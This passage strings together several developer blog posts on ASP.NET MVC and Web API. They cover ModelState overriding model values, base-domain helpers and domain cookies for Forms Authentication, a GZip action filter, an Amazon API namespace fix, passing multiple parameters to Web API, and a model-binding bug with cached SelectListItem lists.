        user.IsVerified = false;
}

… 
model.user = user;
return View(model);

The logic is straight forward - if the new email address is not valid because it already exists I don't want to display the new email address the user entered, but rather the old one. To do this I change the value on the model which effectively does this:

model.user.Email = oldEmail;
return View(model);

So when I press the Save button after entering in my new email address (rickstrahl@hotmail.com) here's what comes back in the rendered view:

Notice that the textbox value and the raw displayed model value are different. The TextBox displays the POST value, the raw value displays the actual model value which are different.

IOW, MVC renders the textbox value from the POST data rather than from the view data when an Http POST is active.

Now I don't know about you but this is not the behavior I expected. This behavior effectively means that I cannot modify the contents of the textbox from the Controller code if using HtmlHelpers for binding. Updating the model for display purposes in a POST has in effect - no effect.

Workaround

Not sure how I missed this behavior for so long. In most cases this isn't an issue as the value the user enters is the same as what you want to display back - no fixup no changes, it's definitely the most common behavior. But in some cases you do want to fix up the user's input or more importantly disallow some new value and revert or assign a valid value instead as is the case here.

I couldn't figure out a way to force the @Html.TextBoxFor() to make this behavior work, but there is an easy workaround. I can just skip the HTML Helper and just create the textbox control directly in HTML markup and embed the model value into the value attribute of the control markup:

<input type="text" name="User.Email" id="User_Email" value="@Model.User.Email" />

And this produces the right result. This is easy enough to create, but feels a little out of place when using the @Html helpers for everything else. As you can see by the difference in the name and id values, you also are forced to remember the naming conventions that MVC imposes in order for ModelBinding to work properly which is a pain to remember and set manually (name is the same as the property with . syntax, id replaces dots with underlines).

(added based comments)

Another option is to clear the ModelState with:

ModelState.Clear();

inside of the controller to clear out the model state which is essentially the captured POST values for each control. When ModelState is cleared values act just like they do on  GET operations and controls bind to the model, rather than the model state POST variables, which gives the behavior I had expected by default.

The latter approach is global and indeed it might be too intrusive to force this onto all controls. If that's the case then the explicit control creation does the trick of allowing you to always display the model value on a control.

Why?

I'm curious why this particular design choice was made. After all MVC strives to be so 'architecturally correct' (yes that's the developer version of politically correct :-) and using the model to bind in ModelBinding would seem to be the 'proper' thing to do. Isn't the whole point of ModelBinding to bind to the model every time?  Even an HttpPost action method should be able to modify the model that Html helper controls bind to. In fact the model has to be there in order for the View to work, but in effect the model it looks like the model is ignored on HttpPost actions.

Except for when a binding error occurs. If a binding error occurs the model value reverts back to its ctor default along with a binding error associated with it, which might not be so great because then you can't tell what the entered value and the error was. Essentially you end up with an error to a value that is no longer displayed as you are now seeing the default.

(added based on comments)

It turns out binding errors are indeed the reasoning behind this design decision. Microsoft's Brad Wilson describes this best in a forum post:

The reason we use the posted value for editors rather than the model value is that the model may not be able to contain the value that the user typed. Imagine in your "int" editor the user had typed "dog". You want to display an error message which says "dog is not valid", and leave "dog" in the editor field. However, your model is an int: there's no way it can store "dog". So we keep the old value.

If you don't want the old values in the editor, clear out the Model State. That's where the old value is stored and pulled from the HTML helpers.

There you have it. It's not the most intuitive behavior, but in hindsight this behavior does make some sense even if at first glance it doesn't seem very logical. The solution of clearing ModelState works and is a reasonable one but you have to know about the innards of ModelState and how it actually works to figure that out.

Here's a simple one: How do you reliably get the base domain from full domain name or URI? Specifically I've run into this scenario in a few recent applications when creating the Forms Auth Cookie in my ASP.NET applications where I explicitly need to force the domain name to the common base domain. So, www.west-wind.com, store.west-wind.com, west-wind.com, dev.west-wind.com all should return west-wind.com.

Here's the code where I need to use this type of logic for issuing an AuthTicket explicitly:

private void IssueAuthTicket(UserState userState, bool rememberMe)
{
    FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, userState.UserId,
                                                         DateTime.Now, DateTime.Now.AddDays(10),
                                                         rememberMe, userState.ToString());

    string ticketString = FormsAuthentication.Encrypt(ticket);
    HttpCookie cookie = new HttpCookie(FormsAuthentication.FormsCookieName, ticketString);
    cookie.HttpOnly = true;
    
    if (rememberMe)
        cookie.Expires = DateTime.Now.AddDays(10);

    // write out a domain cookie
    cookie.Domain = Request.Url.GetBaseDomain();

    HttpContext.Response.Cookies.Add(cookie);
}

Now unfortunately there's no Uri.GetBaseDomain() method unfortunately, as I was surprised to find out. So I ended up creating one:

public static class NetworkUtils
{

    /// <summary>
    /// Retrieves a base domain name from a full domain name.
    /// For example: www.west-wind.com produces west-wind.com
    /// </summary>
    /// <param name="domainName">Dns Domain name as a string</param>
    /// <returns></returns>
    public static string GetBaseDomain(string domainName)
    {
            var tokens = domainName.Split('.');

            // only split 3 segments like www.west-wind.com
            if (tokens == null || tokens.Length != 3)
                return domainName;

            var tok  = new List<string>(tokens);
            var remove = tokens.Length - 2;
            tok.RemoveRange(0, remove);

            return tok[0] + "." + tok[1]; ;                                
    }

    /// <summary>
    /// Returns the base domain from a domain name
    /// Example: http://www.west-wind.com returns west-wind.com
    /// </summary>
    /// <param name="uri"></param>
    /// <returns></returns>
    public static string GetBaseDomain(this Uri uri)
    {
        if (uri.HostNameType == UriHostNameType.Dns)                        
            return GetBaseDomain(uri.DnsSafeHost);
        
        return uri.Host;
    }
 
}

I've had a need for this so frequently it warranted a couple of helpers. The second Uri helper is an Extension method to the Uri class, which is what's used the in the first code sample. This is the preferred way to call this since the URI class can differentiate between Dns names and IP Addresses. If you use the first string based version there's a little more guessing going on if a URL is an IP Address.

There are a couple of small twists in dealing with 'domain names'. When passing a string only there's a possibility to not actually pass domain name, but end up passing an IP address, so the code explicitly checks for three domain segments (can there be more than 3?). IP4 Addresses have 4 and IP6 have none so they'll fall through. Then there are things like localhost or a NetBios machine name which also come back on URL strings, but also shouldn't be handled.

Anyway, small thing but maybe somebody else will find this useful.

I've been bitten by some nasty issues today in regards to using a domain cookie as part of my FormsAuthentication operations. In the app I'm currently working on we need to have single sign-on that spans multiple sub-domains (www.domain.com, store.domain.com, mail.domain.com etc.). That's what a domain cookie is meant for - when you set the cookie with a Domain value of the base domain the cookie stays valid for all sub-domains.

I've been testing the app for quite a while and everything is working great. Finally I get around to checking the app with Internet Explorer and I start discovering some problems - specifically on my local machine using localhost.

It appears that Internet Explorer (all versions) doesn't allow you to specify a domain of localhost, a local IP address or machine name. When you do, Internet Explorer simply ignores the cookie. In my last post I talked about some generic code I created to basically parse out the base domain from the current URL so a domain cookie would automatically used using this code:

private void IssueAuthTicket(UserState userState, bool rememberMe)
{
    FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, userState.UserId,
                                                         DateTime.Now, DateTime.Now.AddDays(10),
                                                         rememberMe, userState.ToString());
    
    string ticketString = FormsAuthentication.Encrypt(ticket);
    HttpCookie cookie = new HttpCookie(FormsAuthentication.FormsCookieName, ticketString);
    cookie.HttpOnly = true;
    
    if (rememberMe)
        cookie.Expires = DateTime.Now.AddDays(10);

    var domain = Request.Url.GetBaseDomain();
    if (domain != Request.Url.DnsSafeHost)
        cookie.Domain = domain;

    HttpContext.Response.Cookies.Add(cookie);
}

This code works fine on all browsers but Internet Explorer both locally and on full domains. And it also works fine for Internet Explorer with actual 'real' domains. However, this code fails silently for IE when the domain is localhost or any other local address. In that case Internet Explorer simply refuses to accept the cookie and fails to log in.

Argh! The end result is that the solution above trying to automatically parse the base domain won't work as local addresses end up failing.

Configuration Setting

Given this screwed up state of affairs, the best solution to handle this is a configuration setting. Forms Authentication actually has a domain key that can be set for FormsAuthentication so that's natural choice for the storing the domain name:

    <authentication mode="Forms">
      <forms loginUrl="~/Account/Login"
             name="gnc"
             domain="mydomain.com"
             slidingExpiration="true"
             timeout="30"
             xdt:Transform="Replace"/>
    </authentication>

Although I'm not actually letting FormsAuth set my cookie directly I can still access the domain name from the static FormsAuthentication.CookieDomain property, by changing the domain assignment code to:

if (!string.IsNullOrEmpty(FormsAuthentication.CookieDomain))
    cookie.Domain = FormsAuthentication.CookieDomain;

The key is to only set the domain when actually running on a full authority, and leaving the domain key blank on the local machine to avoid the local address debacle.

Note if you want to see this fail with IE, set the domain to domain="localhost" and watch in Fiddler what happens.

Logging Out

When specifying a domain key for a login it's also vitally important that that same domain key is used when logging out. Forms Authentication will do this automatically for you when the domain is set and you use FormsAuthentication.SignOut().

If you use an explicit Cookie to manage your logins or other persistant value, make sure that when you log out you also specify the domain. IOW, the expiring cookie you set for a 'logout' should match the same settings - name, path, domain - as the cookie you used to set the value.

HttpCookie cookie = new HttpCookie("gne", "");
cookie.Expires = DateTime.Now.AddDays(-5);

// make sure we use the same logic to release cookie
var domain = Request.Url.GetBaseDomain();
if (domain != Request.Url.DnsSafeHost)
    cookie.Domain = domain;

HttpContext.Response.Cookies.Add(cookie);

I managed to get my code to do what I needed it to, but man I'm getting so sick and tired of fixing IE only bugs. I spent most of the day today fixing a number of small IE layout bugs along with this issue which took a bit of time to trace down.

A long while back I wrote about GZip compression in ASP.NET. In that article I describe two generic helper methods that I've used in all sorts of ASP.NET application from WebForms apps to HttpModules and HttpHandlers that require gzip or deflate compression. The same static methods also work in ASP.NET MVC.

Here are the two routines:

/// <summary>
/// Determines if GZip is supported
/// </summary>
/// <returns></returns>
public static bool IsGZipSupported()
{
    string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"];
    if (!string.IsNullOrEmpty(AcceptEncoding) &&
            (AcceptEncoding.Contains("gzip") || AcceptEncoding.Contains("deflate")))
        return true;
    return false;
}

/// <summary>
/// Sets up the current page or handler to use GZip through a Response.Filter
/// IMPORTANT:  
/// You have to call this method before any output is generated!
/// </summary>
public static void GZipEncodePage()
{
    HttpResponse Response = HttpContext.Current.Response;

    if (IsGZipSupported())
    {
        string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"];

        if (AcceptEncoding.Contains("gzip"))
        {
            Response.Filter = new System.IO.Compression.GZipStream(Response.Filter,
                                        System.IO.Compression.CompressionMode.Compress);
            Response.Headers.Remove("Content-Encoding");
            Response.AppendHeader("Content-Encoding", "gzip");
        }
        else
        {
            Response.Filter = new System.IO.Compression.DeflateStream(Response.Filter,
                                        System.IO.Compression.CompressionMode.Compress);
            Response.Headers.Remove("Content-Encoding");
            Response.AppendHeader("Content-Encoding", "deflate");
        }
    }

    // Allow proxy servers to cache encoded and unencoded versions separately
    Response.AppendHeader("Vary", "Content-Encoding");
}

The first method checks whether the client sending the request includes the accept-encoding for either gzip or deflate, and if if it does it returns true. The second function uses IsGzipSupported() to decide whether it should encode content and uses an Response Filter to do its job. Basically response filters look at the Response output stream as it's written and convert the data flowing through it. Filters are a bit tricky to work with but the two .NET filter streams for GZip and Deflate Compression make this a snap to implement.

In my old code and even now in MVC I can always do:

public ActionResult List(string keyword=null, int category=0)
{
    WebUtils.GZipEncodePage();

    …

}

to encode my content. And that works just fine.

The proper way: Create an ActionFilterAttribute

However in MVC this sort of thing is typically better handled by an ActionFilter which can be applied with an attribute. So to be all prim and proper I created an CompressContentAttribute ActionFilter that incorporates those two helper methods and which looks like this:

/// <summary>
/// Attribute that can be added to controller methods to force content
/// to be GZip encoded if the client supports it
/// </summary>
public class CompressContentAttribute : ActionFilterAttribute
{

    /// <summary>
    /// Override to compress the content that is generated by
    /// an action method.
    /// </summary>
    /// <param name="filterContext"></param>
    public override void OnActionExecuting(ActionExecutingContext filterContext)
    {
        GZipEncodePage();
    }

    /// <summary>
    /// Determines if GZip is supported
    /// </summary>
    /// <returns></returns>
    public static bool IsGZipSupported()
    {
        string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"];
        if (!string.IsNullOrEmpty(AcceptEncoding) &&
                (AcceptEncoding.Contains("gzip") || AcceptEncoding.Contains("deflate")))
            return true;
        return false;
    }

    /// <summary>
    /// Sets up the current page or handler to use GZip through a Response.Filter
    /// IMPORTANT:  
    /// You have to call this method before any output is generated!
    /// </summary>
    public static void GZipEncodePage()
    {
        HttpResponse Response = HttpContext.Current.Response;

        if (IsGZipSupported())
        {
            string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"];

            if (AcceptEncoding.Contains("gzip"))
            {
                Response.Filter = new System.IO.Compression.GZipStream(Response.Filter,
                                            System.IO.Compression.CompressionMode.Compress);
                Response.Headers.Remove("Content-Encoding");
                Response.AppendHeader("Content-Encoding", "gzip");
            }
            else
            {
                Response.Filter = new System.IO.Compression.DeflateStream(Response.Filter,
                                            System.IO.Compression.CompressionMode.Compress);
                Response.Headers.Remove("Content-Encoding");
                Response.AppendHeader("Content-Encoding", "deflate");
            }


        }

        // Allow proxy servers to cache encoded and unencoded versions separately
        Response.AppendHeader("Vary", "Content-Encoding");
    }
}

It's basically the same code wrapped into an ActionFilter attribute, which intercepts requests MVC requests to Controller methods and lets you hook up logic before and after the methods have executed. Here I want to override OnActionExecuting() which fires before the Controller action is fired.

With the CompressContentAttribute created, it can now be applied to either the controller as a whole:

[CompressContent]
public class ClassifiedsController : ClassifiedsBaseController
{ … } 

or to one of the Action methods:

[CompressContent]    
public ActionResult List(string keyword=null, int category=0)
{ … }

The former applies compression to every action method, while the latter is selective and only applies it to the individual action method.

Is the attribute better than the static utility function? Not really, but it is the standard MVC way to hook up 'filter' content and that's where others are likely to expect to set options like this. In fact,  you have a bit more control with the utility function because you can conditionally apply it in code, but this is actually much less likely in MVC applications than old WebForms apps since controller methods tend to be more focused.

Compression Caveats

Http compression is very cool and pretty easy to implement in ASP.NET but you have to be careful with it - especially if your content might get transformed or redirected inside of ASP.NET. A good example, is if an error occurs and a compression filter is applied. ASP.NET errors don't clear the filter, but clear the Response headers which results in some nasty garbage because the compressed content now no longer matches the headers. Another issue is Caching, which has to account for all possible ways of compression and non-compression that the content is served. Basically compressed content and caching don't mix well. I wrote about several of these issues in an old blog post and I recommend you take a quick peek before diving into making every bit of output Gzip encoded.

None of these are show stoppers, but you have to be aware of the issues.

Related Posts

• GZip Compression with ASP.NET Content
• ASP.NET GZip Encoding Caveats

About two months ago (twowards the end of February 2012 I think) Amazon decided to change the namespace of the Product Advertising API. The error that would come up was:

<ItemSearchResponse xmlns='http://webservices.amazon.com/AWSECommerceService/2011-08-01'> was not expected.

If you've used the Amazon Product Advertising API you probably know that Amazon has made it a habit to break the services every few years or so and I guess last month was about the time for another one.

Basically the service namespace of the document has been changed and responses from the service just failed outright even though the rest of the schema looks fine.

Now I looked around for a while trying to find a recent update to the Product Advertising API - something semi-official looking but everything is dated around 2009. Really??? And it's not just .NET - the newest thing on the sample/APIs is dated early 2011 and a handful of 2010 samples. There are newer full APIs for the 'cloud' offerings, but the Product Advertising API apparently isn't part of that.

After searching for quite a bit trying to trace this down myself and trying some of the newer samples (which also failed) I found an obscure forum post that describes the solution of getting past the namespace issue.

FWIW, I've been using an old version of the Product Advertising API using the old Microsoft WSE3 services (pre-WCF), which provides some of the WS* security features required by the Amazon service. The fix for this code is to explicitly override the namespace declaration on each of the imported service method signatures.

The old service namespace (at least on my build) was:

http://webservices.amazon.com/AWSECommerceService/2009-03-31

and it should be changed to:

http://webservices.amazon.com/AWSECommerceService/2011-08-01

Change it on the class header:

[Microsoft.Web.Services3.Messaging.SoapService("http://webservices.amazon.com/AWSECommerceService/2011-08-01")]
[System.Xml.Serialization.XmlIncludeAttribute(typeof(Property[]))]
[System.Xml.Serialization.XmlIncludeAttribute(typeof(BrowseNode[]))]
[System.Xml.Serialization.XmlIncludeAttribute(typeof(TransactionItem[]))]
public partial class AWSECommerceService : Microsoft.Web.Services3.Messaging.SoapClient {

and on all method signatures:

[Microsoft.Web.Services3.Messaging.SoapMethodAttribute("http://soap.amazon.com/ItemSearch")]
[return: System.Xml.Serialization.XmlElementAttribute("ItemSearchResponse", 
                                  Namespace="http://webservices.amazon.com/AWSECommerceService/2011-08-01")]
public ItemSearchResponse ItemSearch(ItemSearch ItemSearch1) {
    Microsoft.Web.Services3.SoapEnvelope results = base.SendRequestResponse("ItemSearch", ItemSearch1);
    return ((ItemSearchResponse)(results.GetBodyObject(typeof(ItemSearchResponse), this.SoapServiceAttribute.TargetNamespace)));
}

It's easy to do with a Search and Replace on the above strings.

Amazon Services

<rant>

FWIW, I've not been impressed by Amazon's service offerings. While the services work well, their documentation and tool support is absolutely horrendous. I was recently working with a customer on an old AWS application and their old API had been completely removed with a new API that wasn't even a close match. One old API call resulted in requiring three different APIs to perform the same functionality. We had to re-write the entire piece from scratch essentially. The documentation was downright wrong, and incomplete and so scattered it was next to impossible to follow. The examples weren't examples at all - they're mockups of real service calls with fake data that didn't even provide everything that was required to make same service calls work. Additionally there appears to be just about no public support from Amazon, only peer support which is sparse at best - and getting a hold of somebody at Amazon, even for pay seems to be mythical task. It's a terrible business model they have going. I can't see why anybody would put themselves through this sort of customer and development experience.

Sad really, but an experience we see more and more these days. Nobody puts in the time to document anything anymore, leaving it to devs to figure this stuff out over and over again…

</rant>

ASP.NET Web API introduces a new API for creating REST APIs and making AJAX callbacks to the server. This new API provides a host of new great functionality that unifies many of the features of many of the various AJAX/REST APIs that Microsoft created before it - ASP.NET AJAX, WCF REST specifically - and combines them into a whole more consistent API. Web API addresses many of the concerns that developers had with these older APIs, namely that it was very difficult to build consistent REST style resource APIs easily.

While Web API provides many new features and makes many scenarios much easier, a lot of the focus has been on making it easier to build REST compliant APIs that are focused on resource based solutions and HTTP verbs. But  RPC style calls that are common with AJAX callbacks in Web applications, have gotten a lot less focus and there are a few scenarios that are not that obvious, especially if you're expecting Web API to provide functionality similar to ASP.NET AJAX style AJAX callbacks.

RPC vs. 'Proper' REST

RPC style HTTP calls mimic calling a method with parameters and returning a result. Rather than mapping explicit server side resources or 'nouns' RPC calls tend simply map a server side operation, passing in parameters and receiving a typed result where parameters and result values are marshaled over HTTP. Typically RPC calls - like SOAP calls - tend to always be POST operations rather than following HTTP conventions and using the GET/POST/PUT/DELETE etc. verbs to implicitly determine what operation needs to be fired.

RPC might not be considered 'cool' anymore, but for typical private AJAX backend operations of a Web site I'd wager that a large percentage of use cases of Web API will fall towards RPC style calls rather than 'proper' REST style APIs. Web applications that have needs for things like live validation against data, filling data based on user inputs, handling small UI updates often don't lend themselves very well to limited HTTP verb usage. It might not be what the cool kids do, but I don't see RPC calls getting replaced by proper REST APIs any time soon.  Proper REST has its place - for 'real' API scenarios that manage and publish/share resources, but for more transactional operations RPC seems a better choice and much easier to implement than trying to shoehorn a boatload of endpoint methods into a few HTTP verbs.

In any case Web API does a good job of providing both RPC abstraction as well as the HTTP Verb/REST abstraction. RPC works well out of the box, but there are some differences especially if you're coming from ASP.NET AJAX service or WCF Rest when it comes to multiple parameters.

Action Routing for RPC Style Calls

If you've looked at Web API demos you've probably seen a bunch of examples of how to create HTTP Verb based routing endpoints. Verb based routing essentially maps a controller and then uses HTTP verbs to map the methods that are called in response to HTTP requests. This works great for resource APIs but doesn't work so well when you have many operational methods in a single controller. HTTP Verb routing is limited to the few HTTP verbs available (plus separate method signatures) and - worse than that - you can't easily extend the controller with custom routes or action routing beyond that.

Thankfully Web API also supports Action based routing which allows you create RPC style endpoints fairly easily:

RouteTable.Routes.MapHttpRoute(
    name: "AlbumRpcApiAction",
    routeTemplate: "albums/{action}/{title}",
    defaults: new
    {
        title = RouteParameter.Optional,
        controller = "AlbumApi",
        action = "GetAblums"
    }
);

This uses traditional MVC style {action} method routing which is different from the HTTP verb based routing you might have read a bunch about in conjunction with Web API. Action based routing like above lets you specify an end point method in a Web API controller either via the {action} parameter in the route string or via a default value for custom routes.

Using routing you can pass multiple parameters either on the route itself or pass parameters on the query string, via ModelBinding or content value binding. For most common scenarios this actually works very well. As long as you are passing either a single complex type via a POST operation, or multiple simple types via query string or POST buffer, there's no issue. But if you need to pass multiple parameters as was easily done with WCF REST or ASP.NET AJAX things are not so obvious.

Web API has no issue allowing for single parameter like this:

[HttpPost]
public string PostAlbum(Album album)
{
    return String.Format("{0} {1:d}", album.AlbumName, album.Entered);
}

There are actually two ways to call this endpoint:

albums/PostAlbum

Using the Model Binder with plain POST values

In this mechanism you're sending plain urlencoded POST values to the server which the ModelBinder then maps the parameter. Each property value is matched to each matching POST value. This works similar to the way that MVC's  ModelBinder works. Here's how you can POST using the ModelBinder and jQuery:

$.ajax(
{
    url: "albums/PostAlbum",
    type: "POST",
    data: { AlbumName: "Dirty Deeds", Entered: "5/1/2012" },
    success: function (result) {
        alert(result);
    },
    error: function (xhr, status, p3, p4) {
        var err = "Error " + " " + status + " " + p3;
        if (xhr.responseText && xhr.responseText[0] == "{")
            err = JSON.parse(xhr.responseText).message;
        alert(err);
    }
});

Here's what the POST data looks like for this request:

The model binder and it's straight form based POST mechanism is great for posting data directly from HTML pages to model objects. It avoids having to do manual conversions for many operations and is a great boon for AJAX callback requests.

Using Web API JSON Formatter

The other option is to post data using a JSON string. The process for this is similar except that you create a JavaScript object and serialize it to JSON first.

album = {
    AlbumName: "PowerAge",
    Entered: new Date(1977,0,1)
}
$.ajax(
{
    url: "albums/PostAlbum",
    type: "POST",
    contentType: "application/json",
    data: JSON.stringify(album),
    success: function (result) {
        alert(result);
    }
});

Here the data is sent using a JSON object rather than form data and the data is JSON encoded over the wire.

The trace reveals that the data is sent using plain JSON (Source above), which is a little more efficient since there's no UrlEncoding that occurs.

BTW, notice that WebAPI automatically deals with the date. I provided the date as a plain string, rather than a JavaScript date value and the Formatter and ModelBinder both automatically map the date propertly to the Entered DateTime property of the Album object.

Passing multiple Parameters to a Web API Controller

Single parameters work fine in either of these RPC scenarios and that's to be expected. ModelBinding always works against a single object because it maps a model. But what happens when you want to pass multiple parameters?

Consider an API Controller method that has a signature like the following:

[HttpPost]
public string PostAlbum(Album album, string userToken)

Here I'm asking to pass two objects to an RPC method. Is that possible? This used to be fairly straight forward either with WCF REST and ASP.NET AJAX ASMX services, but as far as I can tell this is not directly possible using a POST operation with WebAPI.

There a few workarounds that you can use to make this work:

Use both POST *and* QueryString Parameters in Conjunction

If you have both complex and simple parameters, you can pass simple parameters on the query string. The above would actually work with:

/album/PostAlbum?userToken=sekkritt

but that's not always possible. In this example it might not be a good idea to pass a user token on the query string though. It also won't work if you need to pass multiple complex objects, since query string values do not support complex type mapping. They only work with simple types.

Use a single Object that wraps the two Parameters

If you go by service based architecture guidelines every service method should always pass and return a single value only. The input should wrap potentially multiple input parameters and the output should convey status as well as provide the result value. You typically have a xxxRequest and a xxxResponse class that wraps the inputs and outputs.

Here's what this method might look like:

public PostAlbumResponse PostAlbum(PostAlbumRequest request)
{
    var album = request.Album;
    var userToken = request.UserToken;

    return new PostAlbumResponse()
    {
         IsSuccess = true,
         Result = String.Format("{0} {1:d} {2}", album.AlbumName, album.Entered,userToken)
    };
}

with these support types:

public class PostAlbumRequest
{
    public Album Album { get; set; }
    public User User { get; set; }
    public string UserToken { get; set; }
}

public class PostAlbumResponse
{
    public string Result { get; set; }
    public bool IsSuccess { get; set; }
    public string ErrorMessage { get; set; }
}

To call this method you now have to assemble these objects on the client and send it up as JSON:

var album = {
    AlbumName: "PowerAge",
    Entered: "1/1/1977"
}
var user = {
    Name: "Rick"
}
var userToken = "sekkritt";


$.ajax(
{
    url: "samples/PostAlbum",
    type: "POST",
    contentType: "application/json",
    data: JSON.stringify({ Album: album, User: user, UserToken: userToken }),
    success: function (result) {
        alert(result.Result);
    }
});

I assemble the individual types first and then combine them in the data: property of the $.ajax() call into the actual object passed to the server, that mimics the structure of PostAlbumRequest server class that has Album, User and UserToken properties.

This works well enough but it gets tedious if you have to create Request and Response types for each method signature. If you have common parameters that are always passed (like you always pass an album or usertoken) you might be able to abstract this to use a single object that gets reused for all methods, but this gets confusing too: Overload a single 'parameter' too much and it becomes a nightmare to decipher what your method actual can use.

Use JObject to parse multiple Property Values out of an Object

If you recall, ASP.NET AJAX and WCF REST used a 'wrapper' object to make default AJAX calls. Rather than directly calling a service you always passed an object which contained properties for each parameter:

{ parm1: Value, parm2: Value2 }

WCF REST/ASP.NET AJAX would then parse this top level property values and map them to the parameters of the endpoint method.

This automatic type wrapping functionality is no longer available directly in Web API, but since Web API now uses JSON.NET for it's JSON serializer you can actually simulate that behavior with a little extra code. You can use the JObject class to receive a dynamic JSON result and then using the dynamic cast of JObject to walk through the child objects and even parse them into strongly typed objects.

Here's how to do this on the API Controller end:

[HttpPost]
public string PostAlbum(JObject jsonData)
{
    dynamic json = jsonData;
    JObject jalbum = json.Album;
    JObject juser = json.User;
    string token = json.UserToken;

    var album = jalbum.ToObject<Album>();
    var user = juser.ToObject<User>();

    return String.Format("{0} {1} {2}", album.AlbumName, user.Name, token);
}

This is clearly not as nice as having the parameters passed directly, but it works to allow you to pass multiple parameters and access them using Web API.

JObject is JSON.NET's generic object container which sports a nice dynamic interface that allows you to walk through the object's properties using standard 'dot' object syntax. All you have to do is cast the object to dynamic to get access to the property interface of the JSON type.

Additionally JObject also allows you to parse JObject instances into strongly typed objects, which enables us here to retrieve the two objects passed as parameters from this jquery code:

var album = {
    AlbumName: "PowerAge",
    Entered: "1/1/1977"
}
var user = {
    Name: "Rick"
}
var userToken = "sekkritt";


$.ajax(
{
    url: "samples/PostAlbum",
    type: "POST",
    contentType: "application/json",
    data: JSON.stringify({ Album: album, User: user, UserToken: userToken }),
     success: function (result) {
        alert(result);
    }
});

Summary

ASP.NET Web API brings many new features and many advantages over the older Microsoft AJAX and REST APIs, but realize that some things like passing multiple strongly typed object parameters will work a bit differently. It's not insurmountable, but just knowing what options are available to simulate this behavior is good to know.

Now let me say here that it's probably not a good practice to pass a bunch of parameters to an API call. Ideally APIs should be closely factored to accept single parameters or a single content parameter at least along with some identifier parameters that can be passed on the querystring. But saying that doesn't mean that occasionally you don't run into a situation where you have the need to pass several objects to the server and all three of the options I mentioned might have merit in different situations.

For now I'm sure the question of how to pass multiple parameters will come up quite a bit from people migrating WCF REST or ASP.NET AJAX code to Web API. At least there are options available to make it work.

So I ran into an interesting behavior today as I deployed my first MVC 4 app tonight. I have a list form that has a filter drop down that allows selection of categories. This list is static and rarely changes so rather than loading these items from the database each time I load the items once and then cache the actual SelectListItem[] array in a static property.

However, when we put the site online tonight we immediately noticed that the drop down list was coming up with pre-set values that randomly changed. Didn't take me long to trace this back to the cached list of SelectListItem[]. Clearly the list was getting updated - apparently through the model binding process in the selection postback.

To clarify the scenario here's the drop down list definition in the Razor View:

@Html.DropDownListFor(mod => mod.QueryParameters.Category, Model.CategoryList, "All Categories")

where Model.CategoryList gets set with:

[HttpPost]
[CompressContent]
public ActionResult List(MessageListViewModel model)
{
    InitializeViewModel(model);

    busEntry entryBus = new busEntry();
    var entries = entryBus.GetEntryList(model.QueryParameters);

    model.Entries = entries;
    model.DisplayMode = ApplicationDisplayModes.Standard;
       
    model.CategoryList = AppUtils.GetCachedCategoryList();

    return View(model);
}

The AppUtils.GetCachedCategoryList() method gets the cached list or loads the list on the first access. The code to load up the list is housed in a Web utility class. The method looks like this:

/// <summary>
/// Returns a static category list that is cached
/// </summary>
/// <returns></returns>
public static SelectListItem[] GetCachedCategoryList()
{
    if (_CategoryList != null)
        return _CategoryList;

    lock (_SyncLock)
    {
        if (_CategoryList != null)
            return _CategoryList;
        
        var catBus = new busCategory();
        var categories = catBus.GetCategories().ToList();


        // Turn list into a SelectItem list            
        var catList= categories
                         .Select(cat => new SelectListItem() { Text = cat.Name, Value = cat.Id.ToString() })
                         .ToList();

        catList.Insert(0, new SelectListItem()
        {
            Value = ((int)SpecialCategories.AllCategoriesButRealEstate).ToString(),
            Text = "All Categories except Real Estate"
        });
        catList.Insert(1, new SelectListItem()
        {
            Value = "-1",
            Text = "--------------------------------"                    
        });
        
        _CategoryList = catList.ToArray();
    }

    return _CategoryList;
}
private static SelectListItem[] _CategoryList ;

This seemed normal enough to me - I've been doing stuff like this forever caching smallish lists in memory to avoid an extra trip to the database. This list is used in various places throughout the application - for the list display and also when adding new items and setting up for notifications etc..

Watch that ModelBinder!

However, it turns out that this code is clearly causing a problem. It appears that the model binder on the [HttpPost] method is actually updating the list that's bound to and changing the actual entry item in the list and setting its selected value. If you look at the code above I'm not setting the SelectListItem.Selected value anywhere - the only place this value can get set is through ModelBinding. Sure enough when stepping through the code I see that when an item is selected the actual model - model.CategoryList[x].Selected - reflects that.

This is bad on several levels: First it's obviously affecting the application behavior - nobody wants to see their drop down list values jump all over the place randomly. But it's also a problem because the array is getting updated by multiple ASP.NET threads which likely would lead to odd crashes from time to time. Not good!

In retrospect the modelbinding behavior makes perfect sense. The actual items and the Selected property is the ModelBinder's way of keeping track of one or more selected values. So while I assumed the list to be read-only, the ModelBinder is actually updating it on a post back producing the rather surprising results. Totally missed this during testing and is another one of those little - "Did you know?" moments.

So, is there a way around this? Yes but it's maybe not quite obvious. I can't change the behavior of the ModelBinder, but I can certainly change the way that the list is generated. Rather than returning the cached list, I can return a brand new cloned list from the cached items like this:

/// <summary>
/// Returns a static category list that is cached
/// </summary>
/// <returns></returns>
public static SelectListItem[] GetCachedCategoryList()
{
    if (_CategoryList != null)
    {
        // Have to create new instances via projection
        // to avoid ModelBinding updates to affect this
        // globally
        return _CategoryList
                    .Select(cat => new SelectListItem()
                                   {
                                       Value = cat.Value,
                                       Text = cat.Text
                                   })
                    .ToArray();
    }

    …

}

The key is that newly created instances of SelectListItems are returned not just filtered instances of the original list. The key here is 'new instances' so that the ModelBinding updates do not update the actual static instance. The code above uses LINQ and a projection into new SelectListItem instances to create this array of fresh instances. And this code works correctly - no more cross-talk between users.

Unfortunately this code is also less efficient - it has to reselect the items and uses extra memory for the new array. Knowing what I know now I probably would have not cached the list and just take the hit to read from the database. If there is even a possibility of thread clashes I'm very wary of creating code like this. But since the method already exists and handles this load in one place this fix was easy enough to put in.

Live and learn. It's little things like this that can cause some interesting head scratchers sometimes…

It's not uncommon in my applications that I require longish text output that does not have to be rendered into the HTTP output stream. The most common scenario I have for 'template driven' non-Web text is for emails of all sorts. Logon confirmations and verifications, email confirmations for things like orders, status updates or scheduler notifications - all of which require merged text output both within and sometimes outside of Web applications. On other occasions I also need to capture the output from certain views for logging purposes.

